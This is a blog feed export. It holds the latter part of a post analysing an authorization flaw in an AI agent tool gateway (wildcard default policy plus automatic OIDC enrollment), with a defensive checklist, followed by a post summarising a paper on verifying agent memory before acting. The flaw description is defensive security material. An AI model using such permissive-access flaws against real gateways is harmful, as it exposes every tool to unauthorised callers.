&lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iss&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://idp.example&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sub&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;u1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tenant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;acme&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;enroll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;allowed_issuers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://idp.example&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tenant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;acme&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;banned&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice what the function returns on success: an empty list. The affected flow, as described in the record, did the opposite. Its enrollment endpoint had no claim filtering or ban checks, and its default binding supplied broad access automatically. Separating "became a known principal" from "was given power" is the structural fix, and it is also the one that survives the next default somebody adds.&lt;/p&gt;

&lt;p&gt;I tested the failure paths too: wrong tenant, wrong issuer and a banned subject all raise before any role exists. The script prints &lt;code&gt;enrollment gate: ok&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happens as the tool catalog grows?
&lt;/h2&gt;

&lt;p&gt;A wildcard policy has a property that makes it worse over time: it silently covers tools that did not exist when it was written. Every release that adds an exec or admin tool widens the exposure without a single policy edit.&lt;/p&gt;

&lt;p&gt;The chart below simulates eight releases of five new tools each, with 30% of new tools being exec or admin class, on top of a 40-tool starting catalog that already has 12 exec/admin tools. Under a wildcard default the exposed high-risk count climbs from 12 to 22 in this seeded run. Under explicit bindings it stays at 0 until someone binds something on purpose. It is &lt;strong&gt;illustrative&lt;/strong&gt;: the 30% rate and the five-per-release cadence are my assumptions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522line%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522r1%2522%252C%2522r2%2522%252C%2522r3%2522%252C%2522r4%2522%252C%2522r5%2522%252C%2522r6%2522%252C%2522r7%2522%252C%2522r8%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522wildcard%2520default%2522%252C%2522data%2522%253A%255B12%252C14%252C15%252C16%252C17%252C17%252C21%252C22%255D%252C%2522borderColor%2522%253A%2522%2523dc2626%2522%252C%2522fill%2522%253Afalse%257D%252C%257B%2522label%2522%253A%2522explicit%2520bindings%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%255D%252C%2522borderColor%2522%253A%2522%252316a34a%2522%252C%2522fill%2522%253Afalse%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%253A%2520exec%252Badmin%2520tools%2520exposed%2520as%25205%2520tools%2520ship%2520per%2520release%2522%252C%2522fontSize%2522%253A18%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522exposed%2520high-risk%2520tools%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522line%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522r1%2522%252C%2522r2%2522%252C%2522r3%2522%252C%2522r4%2522%252C%2522r5%2522%252C%2522r6%2522%252C%2522r7%2522%252C%2522r8%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522wildcard%2520default%2522%252C%2522data%2522%253A%255B12%252C14%252C15%252C16%252C17%252C17%252C21%252C22%255D%252C%2522borderColor%2522%253A%2522%2523dc2626%2522%252C%2522fill%2522%253Afalse%257D%252C%257B%2522label%2522%253A%2522explicit%2520bindings%2522%252C%2522data%2522%253A%255B0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%255D%252C%2522borderColor%2522%253A%2522%252316a34a%2522%252C%2522fill%2522%253Afalse%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%253A%2520exec%252Badmin%2520tools%2520exposed%2520as%25205%2520tools%2520ship%2520per%2520release%2522%252C%2522fontSize%2522%253A18%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522exposed%2520high-risk%2520tools%2522%257D%257D%255D%257D%257D%257D" alt="Illustrative high-risk tool exposure over releases" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The practical reading is that explicit bindings convert a growing, invisible risk into a reviewable diff. Each new tool arrives with a pull request that says who may call it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do you test your own gateway before someone else does?
&lt;/h2&gt;

&lt;p&gt;None of this needs the vendor's help. A short checklist you can automate against a staging gateway:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fresh-principal test.&lt;/strong&gt; Enroll a brand-new test identity with the minimum claims and call a catalog of every registered tool. The expected result is deny for all of them. Any success is a finding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wrong-tenant test.&lt;/strong&gt; Mint a valid token from an issuer or tenant you do not intend to serve. Enrollment should fail, not succeed with low privilege.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discovery review.&lt;/strong&gt; Fetch every unauthenticated endpoint and list what it reveals. Some metadata is fine to expose, but know exactly what an outsider can read.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wildcard scan.&lt;/strong&gt; Grep the shipped default policy and every example policy for &lt;code&gt;*&lt;/code&gt;. Examples get copied into production, so treat them as defaults.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Catalog diff in CI.&lt;/strong&gt; Compute the live tool registry at test time and assert it equals the set of policy keys, so a new tool without a binding fails the build.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade check.&lt;/strong&gt; If you run SAM, confirm the version is at or above &lt;code&gt;0.1.0-alpha.9&lt;/code&gt;, and re-run steps 1 and 2 after upgrading because defaults can differ from what your config assumed.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Run items 1, 2 and 5 on every deploy. They are cheap, and they test the one property that failed here.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does this not tell us?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No exploitation claim.&lt;/strong&gt; The record I read does not mark this as known exploited. A critical score describes how bad it could be, not how many people were hurt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alpha software.&lt;/strong&gt; The affected builds are &lt;code&gt;alpha&lt;/code&gt; releases. Early projects ship permissive defaults to make demos work, which is understandable, and the lesson is to flip them before the first real user, not after.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;I did not test SAM.&lt;/strong&gt; I read the published record. Where this article describes behavior, it quotes or paraphrases that record, and the code samples are my own illustrations of the principle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simulation numbers are not findings.&lt;/strong&gt; Every chart here comes from a seeded script with assumptions stated next to it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is CVE-2026-103091 in one sentence?&lt;/strong&gt;&lt;br&gt;
A critical (CVSS 9.3) flaw in Google OSS Agent Mesh alpha builds where any valid OIDC token holder could auto-enroll and, through a wildcard default policy, call every tool behind the MCP proxy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which versions are affected and what is the fix?&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;0.1.0-alpha.1&lt;/code&gt; up to but not including &lt;code&gt;0.1.0-alpha.9&lt;/code&gt;. Upgrade to &lt;code&gt;0.1.0-alpha.9&lt;/code&gt; or later, which enforces a fail-closed default policy, explicit policy bindings on enrollment, and ban checks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is a valid token not good enough proof of identity?&lt;/strong&gt;&lt;br&gt;
It proves the token was issued by a trusted issuer. It says nothing about whether that principal should reach your tools. Authorization needs its own explicit rule.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why not just add more checks inside each tool?&lt;/strong&gt;&lt;br&gt;
Do both. Tool-level checks are the last line of defense, but a gateway that allows everything shifts all the risk onto every tool author. Deny-by-default at the gateway gives one place to review.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I stop a policy from drifting back to a wildcard?&lt;/strong&gt;&lt;br&gt;
Lint for &lt;code&gt;*&lt;/code&gt; in CI, fail the build when the tool registry and policy keys disagree, and require a reviewer for any role that binds more than a handful of targets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this matter if my agents never face the public internet?&lt;/strong&gt;&lt;br&gt;
Yes. Internal tokens leak, tenants multiply, and an injected prompt makes an internal agent behave like an outside caller. The cost of fail-closed is small either way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Model Is Not a Security Boundary: What Two Semantic Kernel CVEs Teach About Gating Tool Calls (published 2026-10-22, same series)&lt;/li&gt;
&lt;li&gt;Should Your AI Agent Act? An Engineer's Guide to Action Gates, Confidence, and the Latency Budget (published 2026-10-05, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hol.org/guard/security/cves/CVE-2026-103091-insecure-default-policy-and-unrestricted-oidc" rel="noopener noreferrer"&gt;CVE-2026-103091 record summary, HOL Guard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.strix.ai/cve/CVE-2026-103091" rel="noopener noreferrer"&gt;CVE-2026-103091 record summary, Strix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>mcp</category>
    </item>
    <item>
      <title>When Is Agent Memory Safe Enough to Act On? Scale Verification to the Action, Not the Memory</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Sat, 31 Oct 2026 14:24:47 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/when-is-agent-memory-safe-enough-to-act-on-scale-verification-to-the-action-not-the-memory-ifh</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/when-is-agent-memory-safe-enough-to-act-on-scale-verification-to-the-action-not-the-memory-ifh</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A preprint posted to arXiv on October 22, 2026, "When Is a Memory Safe Enough to Act On? Action-Conditioned Verification for Long-Lived Agents" (Wang et al.), makes one claim worth stealing: &lt;strong&gt;how hard you re-check a remembered fact should depend on what the agent is about to do with it, not only on how trustworthy the memory looks.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;The authors frame it as a stopping problem with three outcomes: proceed, verify first, or abstain. Their system, AMV-Guard, cut mean verification cost by 33.9% against a static baseline on ToolSandbox while keeping a 0.00% gate-harmful rate and 100% safe-proceed recall.&lt;/li&gt;
&lt;li&gt;On the second benchmark (AppWorld) the picture is weaker: cost fell 21.3%, but task success and safe-proceed recall slipped. I cover that below, because the honest reading is "promising, simulated, not solved".&lt;/li&gt;
&lt;li&gt;I wrote a 12-line version of the three-regime decision in Python and ran it. In my toy setup (numbers are illustrative, not from the paper), the same stale-memory risk produces different decisions for different actions, and a weak verifier flips "verify" into "abstain".&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Always%2520proceed%2522%252C%2522CTA%2522%252C%2522EnvProbe-Simple%2522%252C%2522Always%2520verify%2520all%2522%252C%2522AMV-Static%2522%252C%2522AMV-Guard%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Gate-harmful%2520rate%2520%2528%2525%2529%2522%252C%2522data%2522%253A%255B66.67%252C63.61%252C49.0%252C23.67%252C0.0%252C0.0%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523c53030%2522%252C%2522%2523c53030%2522%252C%2522%2523d69e2e%2522%252C%2522%2523d69e2e%2522%252C%2522%25232f855a%2522%252C%2522%25232f855a%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522ToolSandbox%252C%25203%2520seeds%2520x%2520640%2520test%2520instances%253A%2520how%2520often%2520the%2520gate%2520let%2520a%2520harmful%2520action%2520through%2520%2528paper-reported%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522policy%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520harmful%2520actions%2520passed%2520by%2520the%2520gate%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Always%2520proceed%2522%252C%2522CTA%2522%252C%2522EnvProbe-Simple%2522%252C%2522Always%2520verify%2520all%2522%252C%2522AMV-Static%2522%252C%2522AMV-Guard%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Gate-harmful%2520rate%2520%2528%2525%2529%2522%252C%2522data%2522%253A%255B66.67%252C63.61%252C49.0%252C23.67%252C0.0%252C0.0%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523c53030%2522%252C%2522%2523c53030%2522%252C%2522%2523d69e2e%2522%252C%2522%2523d69e2e%2522%252C%2522%25232f855a%2522%252C%2522%25232f855a%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522ToolSandbox%252C%25203%2520seeds%2520x%2520640%2520test%2520instances%253A%2520how%2520often%2520the%2520gate%2520let%2520a%2520harmful%2520action%2520through%2520%2528paper-reported%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522policy%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520harmful%2520actions%2520passed%2520by%2520the%2520gate%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" alt="Gate-harmful rate by policy on ToolSandbox, paper-reported" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What problem does action-conditioned memory verification solve?
&lt;/h2&gt;

&lt;p&gt;Long-lived agents carry memory across sessions: a customer's address, a project's deploy branch. Memory goes stale, and the usual response is a better memory store: retrieval, timestamps, confidence scores.&lt;/p&gt;

&lt;p&gt;The paper argues that this attacks the wrong variable. A memory entry has no fixed "safe to use" status. The same entry, "the contact's email is x@y", is harmless when the agent is drafting a note to itself and dangerous when the agent is about to send a contract. What matters is the &lt;strong&gt;action's premises&lt;/strong&gt; (the facts the action silently depends on) and &lt;strong&gt;the cost of being wrong for that specific action&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The authors split memory into three nested classes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Relevant&lt;/strong&gt;: semantically related to the task, which is what retrieval returns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Action-supporting&lt;/strong&gt;: supports a premise in the action's preconditions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Critical&lt;/strong&gt;: if wrong, it materially changes the loss for this particular action.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Critical is a subset of action-supporting, which is a subset of relevant. Most memory stores stop at the outer ring. The verification budget should be spent on the inner one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why not just verify everything?
&lt;/h2&gt;

&lt;p&gt;Because it is expensive, and it does not even maximize safety per unit cost. In the paper's ToolSandbox runs (3 observation seeds over 640 test instances), the "always verify all" baseline carried a mean verification cost of 1.976 and still let harmful actions through 23.67% of the time. "Always proceed" let 66.67% through. The gate-harmful rate is the share of gate-approved actions that turned out harmful under the benchmark's perturbations.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Policy&lt;/th&gt;
&lt;th&gt;Gate harmful&lt;/th&gt;
&lt;th&gt;Verify cost&lt;/th&gt;
&lt;th&gt;Task success&lt;/th&gt;
&lt;th&gt;Proceed coverage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Always proceed&lt;/td&gt;
&lt;td&gt;66.67%&lt;/td&gt;
&lt;td&gt;0.000&lt;/td&gt;
&lt;td&gt;68.23%&lt;/td&gt;
&lt;td&gt;100.00%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Always verify all&lt;/td&gt;
&lt;td&gt;23.67%&lt;/td&gt;
&lt;td&gt;1.976&lt;/td&gt;
&lt;td&gt;74.58%&lt;/td&gt;
&lt;td&gt;62.67%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EnvProbe-Simple&lt;/td&gt;
&lt;td&gt;49.00%&lt;/td&gt;
&lt;td&gt;2.018&lt;/td&gt;
&lt;td&gt;74.48%&lt;/td&gt;
&lt;td&gt;87.00%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CTA&lt;/td&gt;
&lt;td&gt;63.61%&lt;/td&gt;
&lt;td&gt;0.123&lt;/td&gt;
&lt;td&gt;67.71%&lt;/td&gt;
&lt;td&gt;96.89%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMV-Static&lt;/td&gt;
&lt;td&gt;0.00%&lt;/td&gt;
&lt;td&gt;1.843&lt;/td&gt;
&lt;td&gt;72.34%&lt;/td&gt;
&lt;td&gt;38.83%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMV-Guard&lt;/td&gt;
&lt;td&gt;0.00%&lt;/td&gt;
&lt;td&gt;1.219&lt;/td&gt;
&lt;td&gt;73.91%&lt;/td&gt;
&lt;td&gt;44.17%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Source: Table 1 of the paper, as reported by the authors. "Proceed coverage" is the share of cases where the gate allowed the action to run.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Two things stand out. First, the two policies that reason about the action and its premises (AMV-Static and AMV-Guard) are the only ones at 0.00% gate-harmful, while the cheap or crude baselines (CTA and EnvProbe-Simple) barely improve on doing nothing. Second, AMV-Guard gets there with 38.3% less verification cost than verify-all (1.219 against 1.976).&lt;/p&gt;

&lt;p&gt;Note the distinction the authors draw themselves: the gate-harmful rate is 0.00%, but raw end-to-end harm is 7.03%. That residue comes from planning and intent errors upstream of the gate (6.25% of initial candidates were wrong before the gate ever saw them). A gate cannot fix a plan that was wrong from the start.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the three regimes, and why does consequence create them?
&lt;/h2&gt;

&lt;p&gt;The core proposition: with a fixed memory, a prior probability p that a premise is false, an abstention cost kappa, and a verifier with cost c and reliability r above one half, the optimal first move changes with the size of the loss from acting on a false premise. Below a first threshold the best move is to proceed. Between two thresholds it is to verify. Above the second it is to abstain.&lt;/p&gt;

&lt;p&gt;In plain terms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Low stakes:&lt;/strong&gt; being wrong is cheap, so the check is not worth its cost. Proceed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Medium stakes:&lt;/strong&gt; a reliable check pays for itself. Verify.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High stakes:&lt;/strong&gt; even after a check the residual risk stays too high, or the verifier is too weak to move the belief. Abstain, or replan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The paper adds a subtle point (its Remark 1). For a &lt;strong&gt;fixed&lt;/strong&gt; action, observing something never lowers the average loss of that action under Bayesian updating. Information only has value because it can &lt;strong&gt;change the decision&lt;/strong&gt;. That is why "reduce uncertainty" is the wrong objective for a verification step, and "could this check flip proceed to abstain, or abstain to proceed?" is the right one. This is a value-of-information formulation, and AMV-Guard selects checks by bounded value of information.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does verification effort really track consequence?
&lt;/h3&gt;

&lt;p&gt;In the paper's controlled test, it does. AMV-Guard verified 0%, 15.8%, and 62.8% of low-, medium-, and high-loss cases. Its harmful-proceed rate in the high-loss tier was 0%, against 64.2% for a variant without loss conditioning, and baselines without loss conditioning verified at the same rate in every tier.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Low-loss%2520actions%2522%252C%2522Medium-loss%2520actions%2522%252C%2522High-loss%2520actions%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Share%2520of%2520cases%2520verified%2520%2528%2525%2529%2522%252C%2522data%2522%253A%255B0.0%252C15.8%252C62.8%255D%252C%2522backgroundColor%2522%253A%2522%25232b6cb0%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Verification%2520effort%2520follows%2520consequence%2520%2528paper%2520Table%25207%252C%2520AMV-Guard%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522loss%2520tier%2520of%2520the%2520candidate%2520action%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520of%2520cases%2520that%2520trigger%2520a%2520check%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Low-loss%2520actions%2522%252C%2522Medium-loss%2520actions%2522%252C%2522High-loss%2520actions%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Share%2520of%2520cases%2520verified%2520%2528%2525%2529%2522%252C%2522data%2522%253A%255B0.0%252C15.8%252C62.8%255D%252C%2522backgroundColor%2522%253A%2522%25232b6cb0%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Verification%2520effort%2520follows%2520consequence%2520%2528paper%2520Table%25207%252C%2520AMV-Guard%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522loss%2520tier%2520of%2520the%2520candidate%2520action%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522%2525%2520of%2520cases%2520that%2520trigger%2520a%2520check%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" alt="Share of cases verified by loss tier" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How does AMV-Guard pick which checks to run?
&lt;/h2&gt;

&lt;p&gt;The pipeline has three stages, which are a reasonable template even if you never touch the authors' code.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Premise extraction.&lt;/strong&gt; Pull candidate premises from the tool schema, the plan prefix, and retrieved memory. An LLM extractor and a rule layer propose independently, then a counterfactual filter drops premise-target pairs that are repeatedly irrelevant. Premises are tagged direct, transitive, or joint.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Calibrated risk.&lt;/strong&gt; Estimate the probability that each claim is wrong from features such as recency, source, consistency, and graph position, using logistic calibration (Platt, beta, or bounded isotonic, chosen on held-out likelihood). On the paper's data, calibration moved expected calibration error from 0.319 to 0.082, Brier score from 0.319 to 0.209, and negative log-likelihood from 4.401 to 0.588. Raw model confidence was badly miscalibrated, which is the usual story.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adaptive greedy verification.&lt;/strong&gt; Compute the one-step value of information for each affordable verifier and run the best one. If no single check has positive value, look two steps ahead for complementary pairs. Return proceed, abstain, or "replan required" if the probability that a needed premise is violated crosses a threshold (0.95 in the development configuration).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Adaptive" matters. Re-picking the next verifier after seeing each answer lowered mean cost on all three backbones the authors tried, with the gate-harmful rate staying at 0.00% each time:&lt;/p&gt;

